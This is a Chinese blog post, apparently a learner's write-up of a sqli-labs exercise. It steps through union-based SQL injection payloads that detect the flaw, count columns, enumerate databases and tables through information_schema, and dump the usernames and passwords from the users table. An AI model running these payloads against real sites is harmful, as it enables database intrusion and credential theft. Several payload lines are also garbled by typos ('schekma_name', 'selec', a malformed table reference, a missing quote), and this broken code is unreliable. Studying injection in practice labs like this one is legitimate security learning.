怎樣知到是否含有sql注入漏洞的?

隨意的輸入:?id=3',看到這樣一句話:You have an error in your SQL syntax;..........
同時也可以看到后端的sql陳述句中出現的陳述句;出現了SELECT * FROM users WHERE id='3'' LIMIT 0,1;發現id=3多了一個引號,
那現在就開始輸入:?id=3' or 1=1--+

查看一下這個陳述句再mysql中的作用:select * from where id='1' limit 0,1;

現在我們了解下什么是關于limit 0,1 來看一下有什么發生,
limit 0,1;其中的第一個表示的是從第幾個開始,第二個表示顯示多少資料,也就是說,第一個是索引,而第二個是個數,
下面看一下資料庫中的users中存在幾列,就用到的是order by 數字;

經過幾次的實驗發現存在三列,
也可以利用聯合查詢來進行查看列數,主要是語法:?id=-1' union select 1,2,3--+,發現第二個位置和第三個位置是可以利用的,

下面我們就進行對sql中進行查詢所有資料庫中的內容,利用一個函式語法:group_concat(schema_name)全部的名字,
?id=-1' union select 1,2,group_concat(schekma_name) from information_schema.schemata--+

對資料庫中的內容進行查看內容:
?id=-1 union selec 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+.
這句話,與上面的區別就在于where table_schema='security',和查詢group_concat(table_name)

但是這里出現了單引號的問題,我們主要利用的還是十六進制來解決問題,

對,列進行攻擊,
輸入:?id=-1' union select 1,2,concat_ws('~',password,username) from table security users--+

現在看這個東西也是有一個~,用十六進制轉化一下,十六進制的開頭是0x

心得:這次學習的sql注入中真真正正的感覺很不錯!感覺刷題學習給人的感覺就是很不錯,深入的理解啦,每個函式的意思,怎樣用的,sql陳述句再資料庫中怎樣執行,有什么部分構成,
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/352124.html
標籤:其他
上一篇:【pwnable.kr】Toddler‘s Bottle-[collision]
下一篇:密碼學復習(上)
